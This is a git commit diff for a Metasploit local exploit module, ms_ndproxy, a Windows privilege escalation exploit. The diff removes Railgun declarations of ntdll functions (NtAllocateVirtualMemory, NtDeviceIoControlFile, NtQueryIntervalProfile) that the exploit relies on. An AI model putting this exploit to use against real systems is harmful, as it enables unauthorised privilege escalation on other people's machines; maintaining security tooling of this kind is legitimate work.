Modify ms_ndproxy to use railgun additions
parent
f3ce1c10db
commit
1ab3e891c9
|
@ -87,44 +87,6 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def add_railgun_functions
|
def add_railgun_functions
|
||||||
session.railgun.add_function(
|
|
||||||
'ntdll',
|
|
||||||
'NtAllocateVirtualMemory',
|
|
||||||
'DWORD',
|
|
||||||
[
|
|
||||||
["DWORD", "ProcessHandle", "in"],
|
|
||||||
["PBLOB", "BaseAddress", "inout"],
|
|
||||||
["PDWORD", "ZeroBits", "in"],
|
|
||||||
["PBLOB", "RegionSize", "inout"],
|
|
||||||
["DWORD", "AllocationType", "in"],
|
|
||||||
["DWORD", "Protect", "in"]
|
|
||||||
])
|
|
||||||
|
|
||||||
session.railgun.add_function(
|
|
||||||
'ntdll',
|
|
||||||
'NtDeviceIoControlFile',
|
|
||||||
'DWORD',
|
|
||||||
[
|
|
||||||
[ "DWORD", "FileHandle", "in" ],
|
|
||||||
[ "DWORD", "Event", "in" ],
|
|
||||||
[ "DWORD", "ApcRoutine", "in" ],
|
|
||||||
[ "DWORD", "ApcContext", "in" ],
|
|
||||||
[ "PDWORD", "IoStatusBlock", "out" ],
|
|
||||||
[ "DWORD", "IoControlCode", "in" ],
|
|
||||||
[ "LPVOID", "InputBuffer", "in" ],
|
|
||||||
[ "DWORD", "InputBufferLength", "in" ],
|
|
||||||
[ "LPVOID", "OutputBuffer", "in" ],
|
|
||||||
[ "DWORD", "OutPutBufferLength", "in" ]
|
|
||||||
])
|
|
||||||
|
|
||||||
session.railgun.add_function(
|
|
||||||
'ntdll',
|
|
||||||
'NtQueryIntervalProfile',
|
|
||||||
'DWORD',
|
|
||||||
[
|
|
||||||
[ "DWORD", "ProfileSource", "in" ],
|
|
||||||
[ "PDWORD", "Interval", "out" ]
|
|
||||||
])
|
|
||||||
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
|
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
|
||||||
session.railgun.add_function(
|
session.railgun.add_function(
|
||||||
'psapi',
|
'psapi',
|
||||||
|
|
Loading…
Reference in New Issue